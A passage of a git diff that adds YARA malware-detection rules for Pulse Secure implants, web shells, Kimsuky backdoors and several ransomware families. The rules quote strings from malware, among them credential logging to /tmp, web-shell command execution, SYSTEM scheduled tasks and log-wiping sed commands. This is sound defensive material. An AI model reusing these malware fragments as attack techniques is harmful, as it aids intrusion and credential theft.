+        $s7 = "HTTP_X_" 
+    condition: 
+        $s1 and $s2 and (@s3[1] < @s4[1]) and (@s4[1] < @s5[1]) and (@s5[1] < @s6[1]) and (#s7 > 2) and $r1 
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/pulsejump.yar b/yara-mikesxrs/Mandiant/pulsejump.yar
new file mode 100644
index 0000000..7df5fb5
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/pulsejump.yar
@@ -0,0 +1,18 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Trojan_PL_PULSEJUMP_1
+{
+    meta:
+        author = "Mandiant"
+        date_created = "2021-04-16"
+        md5 = "91ee23ee24e100ba4a943bb4c15adb4c"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings:
+        $s1 = "open("
+        $s2 = ">>/tmp/"
+        $s3 = "syswrite("
+        $s4 = /\}[\x09\x20]{0,32}elsif[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27](Radius|Samba|AD)[\x22\x27][\x09\x20]{0,32}\)\s{0,128}\{\s{0,128}@\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}&/
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/quietpulse.yar b/yara-mikesxrs/Mandiant/quietpulse.yar
new file mode 100644
index 0000000..13bba9e
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/quietpulse.yar
@@ -0,0 +1,20 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Trojan_PL_QUIETPULSE 
+{
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-04-16"       
+        md5 = "00575bec8d74e221ff6248228c509a16"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings: 
+        $s1 = /open[\x09\x20]{0,32}\(\*STDOUT[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/ 
+        $s2 = /open[\x09\x20]{0,32}\(\*STDERR[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/ 
+        $s3 = /socket[\x09\x20]{0,32}\(SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}PF_UNIX[\x09\x20]{0,32},[\x09\x20]{0,32}SOCK_STREAM[\x09\x20]{0,32},[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{0,128}unlink/ 
+        $s4 = /bind[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}sockaddr_un\(/ 
+        $s5 = /listen[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}SOMAXCONN[\x09\x20]{0,32}\)[\x09\x20]{0,32};/ 
+        $s6 = /my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}fork\([\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{1,128}if[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{0,32}==[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32}\{\s{1,128}exec\(/ 
+    condition: 
+        all of them 
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/radialpulse.yar b/yara-mikesxrs/Mandiant/radialpulse.yar
new file mode 100644
index 0000000..747c5e4
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/radialpulse.yar
@@ -0,0 +1,19 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Trojan_PL_RADIALPULSE_1 
+{
+    meta: 
+        author = "Mandiant" 
+        date_created = "2021-04-16"       
+        sha256 = "d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"        
+    strings: 
+        $s1 = "->getRealmInfo()->{name}" 
+        $s2 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>/ 
+        $s3 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]realm=\$/ 
+        $s4 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]username=\$/ 
+        $s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]password=\$/ 
+    condition: 
+        (@s1[1] < @s2[1]) and (@s2[1] < @s3[1]) and $s4 and $s5 
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/radialpulse2.yar b/yara-mikesxrs/Mandiant/radialpulse2.yar
new file mode 100644
index 0000000..6045a12
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/radialpulse2.yar
@@ -0,0 +1,19 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Trojan_PL_RADIALPULSE_2 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-04-16"       
+        md5 = "4a2a7cbc1c8855199a27a7a7b51d0117"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings: 
+        $s1 = "open(*fd," 
+        $s2 = "syswrite(*fd," 
+        $s3 = "close(*fd);" 
+        $s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/[\w.]{1,128}[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/ 
+        $s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$\w{1,128} ?[\x22\x27],[\x09\x20]{0,32}5000\)/ 
+    condition: 
+        all of them 
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/radialpulse3.yar b/yara-mikesxrs/Mandiant/radialpulse3.yar
new file mode 100644
index 0000000..689bbd3
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/radialpulse3.yar
@@ -0,0 +1,19 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Trojan_PL_RADIALPULSE_3 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date_created = "2021-04-16"  
+        md5 = "4a2a7cbc1c8855199a27a7a7b51d0117"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings: 
+        $s1 = "open(*fd," 
+        $s2 = "syswrite(*fd," 
+        $s3 = "close(*fd);" 
+        $s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/dsstartssh\.statementcounters[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/ 
+        $s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$username ?[\x22\x27],[\x09\x20]{0,32}\d{4}\)/ 
+    condition: 
+        all of them 
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/rapidpulse.yar b/yara-mikesxrs/Mandiant/rapidpulse.yar
new file mode 100644
index 0000000..7bf6fc9
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/rapidpulse.yar
@@ -0,0 +1,16 @@
+rule FE_APT_Webshell_PL_RAPIDPULSE_1
+{
+    meta:
+        author = "Mandiant"  
+        date_created = "2021-05-17"
+    strings:
+        $r1 = /my[\x09\x20]{1,32}@\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}split[\x09\x20]{0,32}\([\x09\x20]{0,32}\x2f\x2f/
+        $r2 = /my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}MIME::Base64::decode_base64[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{0,32}\)[\x09\x20]{0,32};[\S\s]{0,128}my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}substr[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{0,32},[\x09\x20]{0,32}\d[\x09\x20]{0,32}\)[\x09\x20]{0,32};[\s\S]{0,64}return[\x09\x20]{1,32}\$/
+        $s1 = "use MIME::Base64"
+        $s2 = "CGI::param("
+        $s3 = "popen"
+        $s4 = "print CGI::header()"
+        $s5 = "(0..255)"
+    condition:
+        (all of ($s*)) and (@r1[1] < @r2[1])
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/slightpulse.yar b/yara-mikesxrs/Mandiant/slightpulse.yar
new file mode 100644
index 0000000..1e8e105
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/slightpulse.yar
@@ -0,0 +1,19 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Webshell_PL_SLIGHTPULSE_1
+{
+    meta:
+        author = "Mandiant" 
+        date_created = "2021-04-16"
+        sha256 = "133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings:
+        $r1 = /if[\x09\x20]{0,32}\(CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)[\x09\x20]{0,32}\)[\x09\x20]{0,32}\{[\x09\x20]{0,32}[\x09\x20]{0,32}\w{1,64}\([\x09\x20]{0,32}\)[\x09\x20]{0,32}\x3b[\x09\x20]{0,32}\}[\x09\x20]{0,32}elsif/
+        $r2 = /system[\x09\x20]{0,32}\([\x09\x20]{0,32}[\x22\x27]\$\w{1,64}[\x09\x20]{0,32}>[\x09\x20]{0,32}\/tmp\/\d{1,10}[\x09\x20]{1,32}2[\x09\x20]{0,32}>[\x09\x20]{0,32}&1[\x22\x27][\x09\x20]{0,32}\)[\x09\x20]{0,32}\x3b\s{0,128}open[\x09\x20]{0,32}\([\x09\x20]{0,32}\*\w{1,64}[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27][\x09\x20]{0,32}<[\x09\x20]{0,32}\$\w{1,64}[\x22\x27][\x09\x20]{0,32}\)[\x09\x20]{0,32}\x3b\s{0,128}while[\x09\x20]{0,32}\([\x09\x20]{0,32}<[\x09\x20]{0,32}\w{1,64}[\x09\x20]{0,32}\>[\x09\x20]{0,32}\)[\x09\x20]{0,32}\{/
+        $s1 = "CGI::param("
+        $s2 = "system("
+        $s3 = "Content-type: image/gif\\n\\n" nocase
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/slowpulse.yar b/yara-mikesxrs/Mandiant/slowpulse.yar
new file mode 100644
index 0000000..b48282a
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/slowpulse.yar
@@ -0,0 +1,20 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Backdoor_Linux32_SLOWPULSE_1 
+{ 
+    meta: 
+        author = "Mandiant" 
+        date_created = "2021-04-16"
+        sha256 = "cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"        
+    strings: 
+        $sb1 = {FC b9 [4] e8 00 00 00 00 5? 8d b? [4] 8b} 
+        $sb2 = {f3 a6 0f 85 [4] b8 03 00 00 00 5? 5? 5?} 
+        $sb3 = {9c 60 e8 00 00 00 00 5? 8d [5] 85 ?? 0f 8?} 
+        $sb4 = {89 13 8b 51 04 89 53 04 8b 51 08 89 53 08} 
+        $sb5 = {8d [5] b9 [4] f3 a6 0f 8?} 
+    condition: 
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and all of them 
+}
+
diff --git a/yara-mikesxrs/Mandiant/slowpulse2.yar b/yara-mikesxrs/Mandiant/slowpulse2.yar
new file mode 100644
index 0000000..314d5eb
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/slowpulse2.yar
@@ -0,0 +1,15 @@
+rule FE_APT_Backdoor_Linux32_SLOWPULSE_2
+{ 
+    meta: 
+        author = "Strozfriedberg" 
+        date_created = "2021-04-16"
+        sha256 = "cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"        
+    strings: 
+        $sig = /[\x20-\x7F]{16}([\x20-\x7F\x00]+)\x00.{1,32}\xE9.{3}\xFF\x00+[\x20-\x7F][\x20-\x7F\x00]{16}/ 
+
+        // TOI_MAGIC_STRING 
+        $exc1 = {ED C3 02 E9 98 56 E5 0C}
+    condition:
+        uint32(0) == 0x464C457F and (1 of ($sig*)) and (not (1 of ($exc*)))
+}
diff --git a/yara-mikesxrs/Mandiant/steadypulse.yar b/yara-mikesxrs/Mandiant/steadypulse.yar
new file mode 100644
index 0000000..6f12a8d
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/steadypulse.yar
@@ -0,0 +1,21 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Webshell_PL_STEADYPULSE_1
+{  
+    meta:  
+        author = "Mandiant"  
+        date_created = "2021-04-16"      
+        sha256 = "168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"     
+    strings:  
+        $s1 = "parse_parameters" 
+        $s2 = "s/\\+/ /g"  
+        $s3 = "s/%(..)/pack("  
+        $s4 = "MIME::Base64::encode($"  
+        $s5 = "$|=1;" 
+        $s6 = "RC4(" 
+        $s7 = "$FORM{'cmd'}" 
+    condition:  
+        all of them  
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/thinblood.yar b/yara-mikesxrs/Mandiant/thinblood.yar
new file mode 100644
index 0000000..d80163f
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/thinblood.yar
@@ -0,0 +1,17 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Tool_SH_THINBLOOD_1
+{
+    meta:
+        author = "Mandiant" 
+        date_created = "2021-04-16"
+        sha256 = "1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings:
+        $s1 = "sed -i \"s/.\\x00[^\\x00]*$2[^\\x00]*\\x09.\\x00//g"
+        $s2 = "sed -i \"s/\\"
+        $s3 = "\\x00[^\\x00]*$2[^\\x00]*\\x09\\x"
+    condition:
+        (filesize < 2048) and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/thinblood2.yar b/yara-mikesxrs/Mandiant/thinblood2.yar
new file mode 100644
index 0000000..af83531
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/thinblood2.yar
@@ -0,0 +1,18 @@
+// Copyright 2021 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file.
+
+rule FE_APT_Tool_Linux_THINBLOOD_1
+{
+    meta:
+        author = "Mandiant" 
+        date_created = "2021-04-16"
+        sha256 = "88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings:
+        $ss1 = "\x00Clearlog success!\x00"
+        $ss2 = "\x00Select log file:%s\x0a\x00"
+        $ss3 = "\x00clearlog success\x00"
+        $ss4 = "\x00%s match %d records\x0a\x00"
+    condition:
+        (uint32(0) == 0x464c457f) and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mandiant/thinblood3.yar b/yara-mikesxrs/Mandiant/thinblood3.yar
new file mode 100644
index 0000000..8d42d82
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/thinblood3.yar
@@ -0,0 +1,12 @@
+rule FE_APT_Tool_Linux32_THINBLOOD_1
+{
+    meta:
+        author = "Mandiant" 
+        date_created = "2021-04-16"
+        sha256 = "88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079"
+        reference_url = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+    strings:
+        $sb1 = { E8 [4-32] 8? 10 [0-16] 89 ?? 24 04 89 04 24 E8 [4-32] 8B 00 89 04 24 E8 [4] E8 [4-32] C7 44 24 ?? 6D 76 20 00 [0-32] F3 AB [0-32] C7 44 24 ?? 72 6D 20 00 [0-32] F3 AB [0-32] 89 04 24 E8 [4-32] 89 04 24 E8 [4-32] 89 04 24 E8 [4-32] 89 04 24 E8 [4-16] 89 04 24 E8 }
+    condition:
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/McAfee/APT_KimSuky_dllbckdr.yar b/yara-mikesxrs/McAfee/APT_KimSuky_dllbckdr.yar
new file mode 100644
index 0000000..d6802bf
--- /dev/null
+++ b/yara-mikesxrs/McAfee/APT_KimSuky_dllbckdr.yar
@@ -0,0 +1,43 @@
+mport "pe"
+
+rule APT_KimSuky_bckdr_dll {
+   meta:
+      description = "Armadillo packed DLL used in Kimsuky campaign"
+      author = "Christiaan Beek - McAfee Advanced Threat Research"
+      reference = "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"
+      date = "2018-02-09"
+      hash1 = "afe4237ff1a3415072d2e1c2c8954b013471491c6afdce3f04d2f77e91b0b688"
+      hash2 = "38897be10924bc694632e774ef80d22a94fed100b0ba29f9bd6f254db5f5be0f"
+      hash3 = "8433f648789bcc97684b5ec112ee9948f4667087c615ff19a45216b8a3c27539"
+      hash4 = "1cdbe9eda77a123cf25baf2dc15218e0afd9b65dae80ea9e00c465b676187a1d"
+      hash5 = "53e3cdbfbfb4fe673e10c8bdadc5d8790e21d01f0b40ffde0a08837ab9a3df91"
+      hash6 = "d643d0375168dcb1640d9fefc0c4035d7772c0a3e41b0498780eee9e1935dfff"
+      hash7 = "7cde78633a2cb14b088a3fe59cfad7dd29493dc41c92e3215a27516770273b84"
+   strings:
+      $x1 = "taskmgr.exe Execute Ok!!!" fullword ascii
+      $x2 = "taskmgr.exe Execute Err!!!" fullword ascii
+      $x3 = "kkk.exe Executing!!!" fullword ascii
+      $s4 = "ShellExecuteA Ok!!!" fullword ascii
+      $s5 = "ShellExecuteA Err!!!" fullword ascii
+      $s6 = "Manage.dll" fullword ascii
+      $s7 = "%s_%s.txt" fullword ascii
+      $s8 = "kkk.exe Copy Ok!" fullword ascii
+      $s9 = "File Executing!" fullword ascii
+      $s10 = "////// KeyLog End //////" fullword ascii
+      $s11 = "//////// SystemInfo End ///////" fullword ascii
+      $s12 = "//////// SystemInfo ///////" fullword ascii
+      $s13 = "///// UserId //////" fullword ascii
+      $s14 = "///// UserId End //////" fullword ascii
+      $s15 = "////// KeyLog //////" fullword ascii
+      $s16 = "Decrypt Erro!!!" fullword ascii
+      $s17 = "File Delete Ok!" fullword ascii
+      $s18 = "Down Ok!!!" fullword ascii
+
+      $op0 = { be 40 e9 00 10 8d bd 3c ff ff ff 83 c4 48 f3 a5 }
+      $op1 = { 8b ce 33 c0 8b d1 8d bc 24 34 02 00 00 c1 e9 02 }
+      $op2 = { be dc e9 00 10 8d bd 1c ff ff ff f3 a5 8d bd 1c }
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 200KB and ( 1 of ($x*) and 4 of them ) and all of ($op*)
+      ) or ( all of them )
+}
diff --git a/yara-mikesxrs/McAfee/BadRabbit_Ransomware.yar b/yara-mikesxrs/McAfee/BadRabbit_Ransomware.yar
new file mode 100644
index 0000000..8a2283d
--- /dev/null
+++ b/yara-mikesxrs/McAfee/BadRabbit_Ransomware.yar
@@ -0,0 +1,39 @@
+import "pe"
+ 
+rule sig_8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93 {
+   meta:
+      description = "Bad Rabbit Ransomware"
+      author = "Christiaan Beek"
+      reference = "BadRabbit"
+      date = "2017-10-24"
+      hash1 = "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93"
+      source = "https://pastebin.com/Y7pJv3tK"
+      Source2 = "https://twitter.com/ChristiaanBeek/status/922858684623056898"
+   strings:
+      $x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" fullword wide
+      $x2 = "need to do is submit the payment and get the decryption password." fullword ascii
+      $s3 = "If you have already got the password, please enter it below." fullword ascii
+      $s4 = "dispci.exe" fullword wide
+      $s5 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide
+      $s6 = "Run DECRYPT app at your desktop after system boot" fullword ascii
+      $s7 = "Enter password#1: " fullword wide
+      $s8 = "Enter password#2: " fullword wide
+      $s9 = "C:\\Windows\\cscc.dat" fullword wide
+      $s10 = "schtasks /Delete /F /TN %ws" fullword wide
+      $s11 = "Password#1: " fullword ascii
+      $s12 = "\\AppData" fullword wide
+      $s13 = "Readme.txt" fullword wide
+      $s14 = "Disk decryption completed" fullword wide
+      $s15 = "Files decryption completed" fullword wide
+      $s16 = "http://diskcryptor.net/" fullword wide
+      $s17 = "Your personal installation key#1:" fullword ascii
+      $s18 = ".3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl.cxx.dbf.der.dib.disk.djvu.doc.docx.dwg." wide
+      $s19 = "Disable your anti-virus and anti-malware programs" fullword wide
+      $s20 = "bootable partition not mounted" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 400KB and
+        pe.imphash() == "94f57453c539227031b918edd52fc7f1" and
+        ( 1 of ($x*) or 4 of them )
+      ) or ( all of them )
+}
diff --git a/yara-mikesxrs/McAfee/CTB_Locker_Ransomware.yar b/yara-mikesxrs/McAfee/CTB_Locker_Ransomware.yar
new file mode 100644
index 0000000..9acba40
--- /dev/null
+++ b/yara-mikesxrs/McAfee/CTB_Locker_Ransomware.yar
@@ -0,0 +1,16 @@
+rule BackdoorFCKG: CTB_Locker_Ransomware
+{
+meta:
+author = "ISG"
+date = "2015-01-20"
+reference = "https://blogs.mcafee.com/mcafee-labs/rise-backdoor-fckq-ctb-locker"
+description = "CTB_Locker"
+
+strings:
+$string0 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+$stringl = "RNDBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
+$string2 = "keme132.DLL" 
+$string3 = "klospad.pdb" 
+condition:
+3 of them 
+}
diff --git a/yara-mikesxrs/McAfee/CredStealer.yar b/yara-mikesxrs/McAfee/CredStealer.yar
new file mode 100644
index 0000000..742c4f8
--- /dev/null
+++ b/yara-mikesxrs/McAfee/CredStealer.yar
@@ -0,0 +1,25 @@
+rule CredStealESY : For CredStealer
+
+{
+
+ meta:
+
+description = "Generic Rule to detect the CredStealer Malware"
+
+author = "IsecG – McAfee Labs"
+
+date = "2015/05/08"
+
+reference = "https://securingtomorrow.mcafee.com/mcafee-labs/when-hackers-get-hacked-the-malware-servers-of-a-data-stealing-campaign/"
+
+strings:
+
+$my_hex_string = "CurrentControlSet\\Control\\Keyboard Layouts\\" wide //malware trying to get keyboard layout
+
+$my_hex_string2 = {89 45 E8 3B 7D E8 7C 0F 8B 45 E8 05 FF 00 00 00 2B C7 89 45 E8} //specific decryption module
+
+ condition:
+
+$my_hex_string and $my_hex_string2
+
+}
diff --git a/yara-mikesxrs/McAfee/CryptoLocker_rule2.yar b/yara-mikesxrs/McAfee/CryptoLocker_rule2.yar
new file mode 100644
index 0000000..acc5493
--- /dev/null
+++ b/yara-mikesxrs/McAfee/CryptoLocker_rule2.yar
@@ -0,0 +1,27 @@
+rule CryptoLocker_rule2
+{
+meta:
+	author = "Christiaan Beek, Christiaan_Beek@McAfee.com"
+	date = "2014-04-14"
+	description = "Detection of CryptoLocker Variants"
+strings:
+	$string0 = "2.0.1.7" wide
+	$string1 = "    <security>"
+	$string2 = "Romantic"
+	$string3 = "ProductVersion" wide
+	$string4 = "9%9R9f9q9"
+	$string5 = "IDR_VERSION1" wide
+	$string6 = "button"
+	$string7 = "    </security>"
+	$string8 = "VFileInfo" wide
+	$string9 = "LookFor" wide
+	$string10 = "      </requestedPrivileges>"
+	$string11 = " uiAccess"
+	$string12 = "  <trustInfo xmlns"
+	$string13 = "last.inf"
+	$string14 = " manifestVersion"
+	$string15 = "FFFF04E3" wide
+	$string16 = "3,31363H3P3m3u3z3"
+condition:
+	8 of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/McAfee/CryptoLocker_set1.yar b/yara-mikesxrs/McAfee/CryptoLocker_set1.yar
new file mode 100644
index 0000000..7f1c008
--- /dev/null
+++ b/yara-mikesxrs/McAfee/CryptoLocker_set1.yar
@@ -0,0 +1,29 @@
+rule CryptoLocker_set1
+{
+meta:
+	author = "Christiaan Beek, Christiaan_Beek@McAfee.com"
+	date = "2014-04-13"
+	description = "Detection of Cryptolocker Samples"
+	
+strings:
+	$string0 = "static"
+	$string1 = " kscdS"
+	$string2 = "Romantic"
+	$string3 = "CompanyName" wide
+	$string4 = "ProductVersion" wide
+	$string5 = "9%9R9f9q9"
+	$string6 = "IDR_VERSION1" wide
+	$string7 = "  </trustInfo>"
+	$string8 = "LookFor" wide
+	$string9 = ":n;t;y;"
+	$string10 = "        <requestedExecutionLevel level"
+	$string11 = "VS_VERSION_INFO" wide
+	$string12 = "2.0.1.0" wide
+	$string13 = "<assembly xmlns"
+	$string14 = "  <trustInfo xmlns"
+	$string15 = "srtWd@@"
+	$string16 = "515]5z5"
+	$string17 = "C:\\lZbvnoVe.exe" wide
+condition:
+	8 of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/McAfee/GPGQwerty_ransomware.yar b/yara-mikesxrs/McAfee/GPGQwerty_ransomware.yar
new file mode 100644
index 0000000..8b3fd87
--- /dev/null
+++ b/yara-mikesxrs/McAfee/GPGQwerty_ransomware.yar
@@ -0,0 +1,27 @@
+rule crime_ransomware_windows_GPGQwerty: crime_ransomware_windows_GPGQwerty
+
+{
+
+meta:
+
+author = "McAfee Labs"
+
+description = "Detect GPGQwerty ransomware"
+
+reference = "https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-takes-open-source-path-encrypts-gnu-privacy-guard/"
+
+strings:
+
+$a = "gpg.exe –recipient qwerty  -o"
+
+$b = "%s%s.%d.qwerty"
+
+$c = "del /Q /F /S %s$recycle.bin"
+
+$d = "cryz1@protonmail.com"
+
+condition:
+
+all of them
+
+}
diff --git a/yara-mikesxrs/McAfee/McAfee_index.yara b/yara-mikesxrs/McAfee/McAfee_index.yara
new file mode 100644
index 0000000..d6a4c54
--- /dev/null
+++ b/yara-mikesxrs/McAfee/McAfee_index.yara
@@ -0,0 +1,57 @@
+rule CryptoLocker_set1
+{
+meta:
+	author = "Christiaan Beek, Christiaan_Beek@McAfee.com"
+	date = "2014-04-13"
+	description = "Detection of Cryptolocker Samples"
+	
+strings:
+	$string0 = "static"
+	$string1 = " kscdS"
+	$string2 = "Romantic"
+	$string3 = "CompanyName" wide
+	$string4 = "ProductVersion" wide
+	$string5 = "9%9R9f9q9"
+	$string6 = "IDR_VERSION1" wide
+	$string7 = "  </trustInfo>"
+	$string8 = "LookFor" wide
+	$string9 = ":n;t;y;"
+	$string10 = "        <requestedExecutionLevel level"
+	$string11 = "VS_VERSION_INFO" wide
+	$string12 = "2.0.1.0" wide
+	$string13 = "<assembly xmlns"
+	$string14 = "  <trustInfo xmlns"
+	$string15 = "srtWd@@"
+	$string16 = "515]5z5"
+	$string17 = "C:\\lZbvnoVe.exe" wide
+condition:
+	8 of ($string*)
+}
+
+rule CryptoLocker_rule2
+{
+meta:
+	author = "Christiaan Beek, Christiaan_Beek@McAfee.com"
+	date = "2014-04-14"
+	description = "Detection of CryptoLocker Variants"
+strings:
+	$string0 = "2.0.1.7" wide
+	$string1 = "    <security>"
+	$string2 = "Romantic"
+	$string3 = "ProductVersion" wide
+	$string4 = "9%9R9f9q9"
+	$string5 = "IDR_VERSION1" wide
+	$string6 = "button"
+	$string7 = "    </security>"
+	$string8 = "VFileInfo" wide
+	$string9 = "LookFor" wide
+	$string10 = "      </requestedPrivileges>"
+	$string11 = " uiAccess"
+	$string12 = "  <trustInfo xmlns"
+	$string13 = "last.inf"
+	$string14 = " manifestVersion"
+	$string15 = "FFFF04E3" wide
+	$string16 = "3,31363H3P3m3u3z3"
+condition:
+	8 of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/McAfee/NionSpy.yar b/yara-mikesxrs/McAfee/NionSpy.yar
new file mode 100644
index 0000000..702ac44
